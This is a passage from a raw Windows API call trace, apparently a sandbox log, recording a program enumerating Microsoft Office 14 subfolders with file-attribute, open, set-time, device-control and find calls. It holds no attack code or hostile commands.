ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.764] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.764] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.764] GetLastError () returned 0x12 [0055.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.764] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.764] GetLastError () returned 0x12 [0055.764] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.765] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.765] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.765] GetLastError () returned 0x12 [0055.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.765] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.766] GetLastError () returned 0x12 [0055.766] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.767] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.767] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.767] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.769] GetLastError () returned 0x12 [0055.769] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.769] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.769] GetLastError () returned 0x12 [0055.770] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.770] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.771] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.771] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.771] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.772] GetLastError () returned 0x12 [0055.772] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.772] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.772] GetLastError () returned 0x12 [0055.772] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.773] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.773] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.773] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.773] GetLastError () returned 0x12 [0055.773] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.773] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.774] GetLastError () returned 0x12 [0055.774] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.775] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.775] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.775] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.775] GetLastError () returned 0x12 [0055.775] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459cb8 [0055.775] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.775] GetLastError () returned 0x12 [0055.775] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.775] GetLastError () returned 0x12 [0055.775] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.776] GetLastError () returned 0x12 [0055.776] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.776] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.776] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.776] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.781] GetLastError () returned 0x12 [0055.781] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.781] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.781] GetLastError () returned 0x12 [0055.781] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.783] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.783] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a2bc50, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a2bc50, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.783] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.790] GetLastError () returned 0x12 [0055.791] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.791] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.791] GetLastError () returned 0x12 [0055.791] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.793] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.793] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.793] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.795] GetLastError () returned 0x12 [0055.795] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.795] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.795] GetLastError () returned 0x12 [0055.795] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.796] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.796] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.796] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a3d760, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a3d760, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.796] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.796] GetLastError () returned 0x12 [0055.796] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.797] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.797] GetLastError () returned 0x12 [0055.797] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.797] GetLastError () returned 0x12 [0055.797] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.797] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.798] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.798] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a3d760, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a3d760, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.798] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.798] GetLastError () returned 0x12 [0055.798] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.798] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.799] GetLastError () returned 0x12 [0055.799] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.799] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.800] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.800] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a3d760, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a3d760, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.800] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.800] GetLastError () returned 0x12 [0055.800] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 